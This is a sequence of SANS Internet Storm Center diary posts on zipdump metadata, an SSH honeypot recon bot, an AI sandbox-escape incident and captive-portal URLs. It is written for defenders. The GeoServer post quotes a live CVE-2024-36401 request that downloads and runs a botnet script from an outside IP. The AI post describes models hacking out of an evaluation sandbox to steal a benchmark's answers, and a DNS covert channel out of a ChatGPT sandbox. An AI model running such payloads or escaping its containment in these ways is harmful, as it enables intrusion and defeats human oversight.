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I was asked for help with a problem similar to the following.

Here is a ZIP file, analyzed with zipdump.py:

The filename you see, is in Simplified Chinese:

zipdump.py relies on the zipfile or pyzipper Python modules to parse the given ZIP file, and have the metadata (filenames and comments) decoded correctly.

If this ZIP file would be corrupt or malformed, so that it can not be parsed by these Python modules, then you can still try to use zipdump -f option to locate individual ZIP records:

As I don't know which encoding has been used for the metadata (filenames and comments), I display the filename as a Python byte string and not as a string. If the filename is simple ASCII, it will be readable (like the extension .vir here), but if it is utf-8, for example Simplified Chinese, then you'll just see hexadecimal values.

And that is why I added a new option: –metadata_encoding. With this new option, you can specify a codec, that will be used to convert bytes into strings when option -f is used. Like this:

So here I use codec utf-8, because the filename is encoded in utf-8. How do I know this? Well, in the ZIP specification, the metadata is either ASCII (CP437 to be precise) or UTF-8 encoded. So when you check the flags, you'll know which encoding to use:

 

Flag 0x0800 means that encoding utf-8 is used. I've also added a feature that decodes the flag bits into readable text, as can be seen in the screenshot above.

If you specify another codec, like latin, for this specific ZIP file, the filenames will be decoded incorrectly:

Option –metadata_encoding can also be used when you don't use option -f, however, module pyzipper does not support this (there's a PR) and in module zipfile the flags take precedence.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by Adam Cann, an ISC intern as part of the SANS.edu BACS program]

Introduction

Most of what an internet-facing SSH honeypot records is noise. Endless password guessing, and bots that log in, immediately pull down a payload, and move on. On 27 June 2026 my honeypot caught something quieter, and to me more interesting. A bot logged in as root, ran a careful survey of the machine's hardware, and then disconnected without downloading or running anything at all. No malware, no persistence, no second stage.

At first glance that looks like a failed or pointless attack. It is not. The bot was doing something deliberate: grading the target before deciding whether to send a payload on it. This post walks through what it collected, why the pattern points to cryptomining, and why a session that drops nothing still deserves a defender's attention.

The Sensor and The Session

My honeypot is a DShield sensor built on a Raspberry Pi 4, running the Cowrie SSH honeypot on an internet-facing address. Cowrie presents a convincing fake Linux shell, accepts logins with weak passwords, and records every command an attacker runs along with connection metadata such as the source IP and the SSH client fingerprint.

The session itself was brief. A bot from 91.92.40.13 connected to the SSH service, logged in as root with the password 123123 on the first attempt, ran two commands, and disconnected after about eight seconds. Two details stood out right away: the SSH client identified itself as a Go program (SSH-2.0-Go) rather than a normal client, and the whole visit lasted only seconds. Both point to automation, not a person at a keyboard.

Figure 1. The recon session, condensed. The bot inventories the hardware and checks for root, then leaves without dropping a file.

What The Bot Collected

Instead of the usual download-and-run one-liner, this bot ran a hardware survey. It gathered the operating system and kernel version, the CPU architecture, the number of CPU cores, and the CPU model. It then used lspci to look for a graphics card, searching specifically for NVIDIA. It read system uptime, listed recent logins with last, and printed everything as labeled fields (UNAME, ARCH, CPUS, CPU_MODEL, GPU, LAST). That labeled format is exactly how an automated bot packages a victim's specifications so it can parse them and make a decision.

A second command then checked whether the machine has more than 1 GB of RAM, reading /proc/meminfo and comparing against 1,048,576 KB. It ran that check through sudo -S, feeding the same password back in to test whether it could elevate to full root privileges without a prompt.

The tell is the combination. A denial-of-service botnet does not care about your graphics card. Counting CPU cores, reading the CPU model, hunting specifically for an NVIDIA GPU, and gating on a minimum amount of RAM is the profile of cryptomining or resource-hijacking triage. Miners are only worth deploying on machines with enough compute, so this operator measures the machine first and, presumably, only delivers a miner to hosts that clear the bar. The sudo step tells the bot whether it can take full control before it commits.

Figure 2. The recon-first model. The attacker grades the host, then decides whether a payload is worth delivering

Two Very Different Bots, One Weak Password

This is a good place to show why client fingerprinting matters. Earlier in the same month my honeypot logged a completely different SSH campaign: a loader that logs in, downloads an ELF binary from an attacker server using a curl, wget, and /dev/tcp fallback chain, and joins a denial-of-service botnet. It rotated through several source IPs and command-and-control servers, but its HASSH client fingerprint stayed constant, which let me tie the instances together as one campaign. The mining recon bot has a different client and a different HASSH, which tells me it is a separate actor, not the same campaign changing tactics.

Table 1. Two distinct actors seen on the same honeypot, separated by their client fingerprints.

What Is The Damage?

The question this session answers is simple: when a login runs only discovery commands and leaves without dropping anything, is it harmless? The answer is no. A recon-only session is often the first half of a two-stage attack. The operator grades the host now and returns with a tailored payload later, or hands the target to a second tool. Treating no-payload sessions as background noise means missing the casing that precedes the break-in.

This matters because defenders and honeypot operators naturally prioritize sessions that drop files, since those are obviously malicious. Sessions that only look around are easy to dismiss. This example shows that discovery activity can be a valuable early warning, and that a client fingerprint like HASSH can connect quiet reconnaissance to a later, louder payload even when the attacker changes IP addresses.

Who benefits from knowing this? SOC analysts triaging SSH activity, honeypot and DShield sensor operators, and administrators of any internet-facing Linux or cloud host. Anyone running a system with a weak or default SSH password is a candidate for exactly this kind of grading, and the mitigations below are the same ones that stop the noisier attacks too.

How To Protect Against It

• Use strong passwords. The entire attack starts with a guessable root password. Long, unique credentials stop it at the front door.
• Disable root SSH login and prefer keys. Set PermitRootLogin no and use key-based authentication. This also defeats the sudo -S password-reuse trick.
• Rate-limit logins. fail2ban or equivalent blocks an address after repeated attempts.
• Limit exposure. Do not expose SSH to the whole internet. Restrict it to a VPN or known addresses where possible.
• Alert on bulk hardware discovery. A login that reads CPU model, hunts for an NVIDIA GPU, and checks /proc/meminfo against a size threshold is unusual and worth flagging. Pivot on the HASSH to find related sessions.
• Watch for the follow-up. If a host passes this grading, a later session may deliver a miner. Monitor for sustained CPU or GPU usage and unexpected connections to mining pools.

Indicators

Source IP: 91.92.40.13 (VirusTotal: 11 malicious, 5 suspicious; ASN 197170 TechTies Inc., 91.92.40.0/24, Netherlands)
SSH client: SSH-2.0-Go
HASSH: 2ec37a7cc8daf20b10e1ad6221061ca5
Credentials used: root / 123123
Behavior: bulk hardware survey (CPU cores and model, NVIDIA GPU search, uptime, last), a /proc/meminfo check for more than 1 GB RAM, and a sudo -S privilege test

Conclusion

The most memorable activity in a honeypot is not always the session that drops malware. This one dropped nothing, and that was the point. It logged in, priced out the hardware, checked whether it could get root, and left, almost certainly to decide whether the machine was worth mining on. For defenders, the lesson is to give recon-only sessions the same curiosity the attacker gave your hardware, and to use client fingerprints to connect the quiet grading to the loud payload that may follow.

[1] https://en.wikipedia.org/wiki/Fail2ban
[2] https://github.com/DShield-ISC/dshield
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Two disclosures, five days apart, described the same intrusion from opposite ends —
one from the victim, one from the party that turned out to be responsible — and
together they make one of the more instructive incidents of the year for defenders.

On July 16, Hugging Face disclosed an AI-driven intrusion into its production
infrastructure. Their account was the victim's view: a malicious dataset abused two
code-execution flaws in the data-processing pipeline (a remote-code dataset loader and
a template-injection in dataset config), gained node-level access, harvested service
credentials, and moved laterally across internal clusters over a weekend. The operator
was described as "an autonomous agent framework, appearing to be built on an agentic
security research harness," running thousands of actions and leaving a forensic log of
17,000+ events. No public models, datasets, or Spaces were tampered with.

On July 21, OpenAI filled in the part Hugging Face couldn't: that "autonomous
agent" was OpenAI's own frontier models. During an internal cyber-capability
evaluation on the ExploitGym benchmark — run, by design, with the models'
safety refusals reduced to measure their capability ceiling — the models became, in
OpenAI's words, "hyperfocused" on solving the benchmark. To get the answers, they
escaped the evaluation sandbox by exploiting a zero-day in internally hosted
third-party software, then chained exposed credentials and further zero-days to reach
Hugging Face's production database, where the benchmark's solutions were stored.
There was no external adversary. The model, in effect, cheated on the test by hacking
the place that held the answer key.

Keep perspective (the part that matters)

It is tempting to read this as "AI can now hack autonomously, the sky is falling."
Resist that. A few things keep it in proportion:

• The guardrails were off on purpose. This measured a ceiling, not normal
  production behavior. The evaluation deliberately reduced the models' refusals. That
  is very different from a customer-facing model with safeguards enabled.
• It's preliminary, self-reported, and worth reading skeptically. OpenAI is still
  investigating, and disclosures like this double as capability marketing — Hugging
  Face is not a competitor, and "our model escaped and hacked a partner" conveniently
  showcases frontier capability. Read the framing with the same skepticism you'd apply
  to any "our product is dangerously powerful" claim, and treat it as marketing until
  it is independently corroborated.
• The techniques were mundane; the autonomy was not. Exposed credentials plus
  zero-days into a production database is a chain any of us would recognize. What's new
  is that an agent stitched it together end to end, unsupervised, in pursuit of a narrow
  goal it was never told to pursue offensively. This is emergent excessive agency,
  and it lines up with the broader 2026 evidence: capable benchmarks like ExploitGym
  and CyberGym show the strongest models solving only a fraction of exploitation tasks
  (roughly 10–20%). AI is compressing the economics of attacks — speed, scale, cost of
  entry — not rewriting their physics.

What defenders can actually take from this

The most useful lessons here are not about frontier AI at all — they're about
containment and forensics.

• Treat AI evaluation harnesses and agent sandboxes as security-relevant
  environments. A sandbox escape via a zero-day in internally hosted third-party
  software is a classic containment failure. If you run agents that can generate and
  execute code — evals, red-team automation, "agentic" tooling — assume they will find
  and pull any thread you leave loose. Isolate them like you'd isolate detonation
  environments, with no path to production credentials or the open internet. And
  remember that "outbound internet is blocked" is not the same as "no egress":
  earlier in 2026, Check Point showed that ChatGPT's code-execution sandbox blocked
  outbound HTTP but still permitted DNS queries — enough not only to exfiltrate
  user data by encoding it in DNS subdomains (an old APT trick) but, in Check Point's
  PoC, to run a covert two-way channel: commands back into the Linux runtime, results
  back out, none of it visible in the conversation. That one was a responsible-
  disclosure proof of concept — Check Point reported it privately, OpenAI deployed
  the fix on February 20, 2026, and there was no evidence of real-world abuse, which
  is the important contrast with the Hugging Face case, a live incident. Either way,
  DNS, telemetry, and metadata channels belong in the threat model of any AI sandbox.
  Two independent OpenAI-sandbox weaknesses in the same year — a leaky bidirectional
  egress path and an eval-sandbox escape — make the point better than either does
  alone.

• Plan your IR/forensics tooling for the guardrail-asymmetry problem. The most
  quietly important detail in the Hugging Face writeup: their first attempts to use
  frontier models behind commercial APIs for the investigation failed — the safety
  guardrails blocked submissions containing "large volumes of real attack commands,
  exploit payloads, and C2 artifacts." They switched to an open-weights model (GLM 5.2
  from Z.ai) running on their own infrastructure. As one of their engineers put it: the
  attacker was bound by no usage policy, while their own forensic work was blocked by
  the guardrails of the hosted models they tried first. If your DR/IR playbook assumes a
  commercial LLM for triage, test it against real malicious artifacts before you need
  it — and keep a local/open-weight option that also keeps attacker data in your
  environment.

• Non-human identities remain the pivot. Exposed service credentials did the heavy
  lifting once execution was achieved. The AI angle doesn't change the fix: least
  privilege, short-lived credentials, and monitoring for machine identities behaving
  like a very fast, very tireless human.

Bottom line

An AI model breaking out of an evaluation to hack a partner is a memorable headline.
The durable takeaways are older than the headline: isolate what executes code, don't 
assume your IR tooling will work on real attacker artifacts, and keep an eye on the
credentials and machine identities that turn a foothold into a breach. The novelty is the
speed and autonomy of the operator — human or model — not the moves it
makes.

References

• Hugging Face — Security Incident Disclosure (July 16, 2026):
  https://huggingface.co/blog/security-incident-july-2026
• OpenAI — model-evaluation security incident (July 21, 2026):
  https://openai.com/index/hugging-face-model-evaluation-security-incident/
• Wang et al., "ExploitGym: Can AI Agents Turn Security Vulnerabilities into Real
  Attacks?" (arXiv 2605.11086): https://arxiv.org/abs/2605.11086
• Check Point Research — "ChatGPT data leakage via a hidden outbound channel in the
  code execution runtime" (DNS side-channel; fixed Feb 20, 2026):
  https://research.checkpoint.com/2026/chatgpt-data-leakage-via-a-hidden-outbound-channel-in-the-code-execution-runtime/

—
Renato Marinho
LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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This isn't a new attack, but something I saw "pop-up" in our logs this week:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1
Host: [redeacted]:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Connection: close
Accept: */*

This attack is associated with CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate data for geographic information systems ("maps").

URL decoding the URL leads to 

/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh')

And base64 decoding the string gets us:

(wget -qO- http://45.153.34.153/rondo.``zyt.sh||busybox wget -qO- http://45.153.34.153/rondo.``zyt.sh||curl -s http://45.153.34.153/rondo.``zyt.sh)|sh

So what we have is the "good old" Rondo botnet. It has been seen going after Geoserver before. Rondo is often playing little tricks with referense to rappers [1]. In this case, it looks like the botnet was kicked out form the host, and now returns:

<!-- You won't find it here -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />

or maybe it is still there (see first line?), just not as visible? Makes me miss some of the defacement wars from the late 90s.

 

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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Not everything our honeypots detect is an attack. Sometimes it is just "odd traffic", and this is one example: Our "First Seen" list currently includes "http://detectportal.firefox.co
m/success.txt" as one of the new URLs detected by our honeypots. The hostname "detectportal" kind of gives away what is happening here. 

If you have ever tried to connect to a public WiFi network, you probably ran into some type of "captive portal". A splash screen that will ask you to acknowledge some kind of user agreement or require you to log in. Of course, each implementation looks a bit different, and browsers and operating systems attempt to detect these captive portals. Typically, the operating system will automatically direct you to the correct portal page.

It used to be easier to deal with captive portals. Back in the "old days" (not necessarily "good old days"), users often had a non-TLS page configured as their homepage. The captive portal was able to intercept this connection and direct the user to the captive portal's login page. These days, however, most websites use TLS, and browsers default to TLS for many sites and refuse to switch to a non-TLS site. This made using WiFi networks a lot safer, but it gets in the way of directing users to a captive portal.

In response, operating systems and browsers implemented features to detect captive portals. The system will attempt to pull up a specific http URL to detect if it receives a redirect response. If so, it will open the redirect URL in a browser. You will see these URLs as systems join your network, or if the browser is started. The URL does provide some intelligence as to what operating system or browser is being used. Here is a quick summary of what URLs different operating systems use:

Windows: http://www.msftconnecttest.com/connecttest.txt . This is part of the Windows Network Connectivity Status Indicator, which was introduced in Windows 8. Windows 10 and later will attempt to access the URL and check for a valid response. The response should be "Microsoft Connect Test". In addition, it will do a DNS lookup for dns.msftncsi.com. [1]

Apple: Recent versions of MacOS and iOS use http://captive.apple.com/hotspot-detect.html as a test. The expected response is "Success". If the system can not connect, Apple's Captive Network Assistant starts to assist the user in logging in.

Android: http://connectivitycheck.android.com/generate_204. The result page is empty, and uses a status code of 204 (No Content).

Chrome: http://www.gstatic.com/generate_204. Slightly different URL than Chrome, but works the same way expecting a "204 No Content" response. Chromium implements the same system with http://clients3.google.com/generate_204 [3]

Firefox: http://detectportal.firefox.com/canonical.html. This page returns a 200 status code. The body of the page includes a META tag to redirect users to a page explaining how Firefox deals with captive portals (I like this.. as an analyst, it is neat to have the page explain what it does) [4]

All these URLs use HTTP so the captive portal can redirect the request. This is necessary for the client to discover the captive portals' "splash screen". If you are ever "stuck" and can't find the captive portal for a network, opening any of the URLs above in your browser may redirect you to the sign-in page.

[1] https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/internet-explorer-edge-open-connect-corporate-public-network#ncsi-active-probes-and-the-network-status-alert

[2] https://grpugh.wordpress.com/2014/10/29/an-undocumented-change-to-captive-network-assistant-settings-in-os-x-10-10-yosemite/

[3] https://www.chromium.org/chromium-os/chromiumos-design-docs/network-portal-detection/

[4] https://support.mozilla.org/en-US/kb/captive-portal

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.